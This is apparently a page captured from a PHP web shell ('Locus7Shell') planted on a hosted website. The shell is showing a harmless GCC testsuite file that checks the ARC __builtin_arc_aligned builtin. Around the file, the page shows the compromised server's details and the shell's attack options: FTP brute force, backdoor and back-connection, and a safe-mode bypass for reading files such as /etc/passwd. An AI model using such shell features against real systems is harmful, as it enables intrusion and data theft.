Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/arc/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     builtin_arc_aligned-3.c (1.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-options "-O" } */

extern void abort (void);

typedef struct {
  int b, c;
}
__attribute__((aligned(32))) inner_t; // data type is 32 byte aligned

typedef struct {
  inner_t *inner;
  int a;
} outer_t;

void __attribute__  ((noinline,weak))
somefunc (int a, int b, int c)
{
  if (!a || !b || c)
    abort ();
};

__attribute__  ((noinline,weak))
outer_t *
some_alloc_1 ()
{
  static outer_t x;
  return &x;
}

__attribute__  ((noinline,weak))
inner_t *
some_alloc_2 ()
{
  static inner_t x;
  return &x;
}

int main (void)
{
  int y, y2, y3;
  // @p_out is pointing to instance of outer_t, naturally aligned to 4+4 = 8
  // and not gauranteed be 32 byte aligned.
  outer_t *p_out = some_alloc_1( ); // returns 8 byte aligned ptr

  // @ptr is pointing to instance of inner_t which is naturally aligned to 32.
  // It is assigned to p_out->inner which is of type inner_t thus 32 byte
  // aligned as well
  // Note that gcc can deduce p_out->inner is 32b aligned, not at runtime,
  // because it was assigned @ptr, but even at compile time, because it's data
  // type is naturally 32 byte aligned.
  inner_t *ptr = some_alloc_2(); // returns 32 byte aligned ptr
  p_out->inner = ptr; // this ptr will also be 32 byte aligned

  y = __builtin_arc_aligned(ptr, 32); // this shd return 1
  y2 = __builtin_arc_aligned(p_out->inner, 32); // this also shd return 1
  // Although p_out->inner ptr is 32 byte aligned,
  // it's container &(p_out->inner) need not be.
  // That is because the hoister has no relation to contents.
  // p_out is not gauranteed to be 32 byte
  // aligned, so it's member @inner in p_out need not be.
  y3 = __builtin_arc_aligned(&(p_out->inner), 32);
  // compiler not sure, so must return 0

  somefunc(y, y2, y3);
  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]--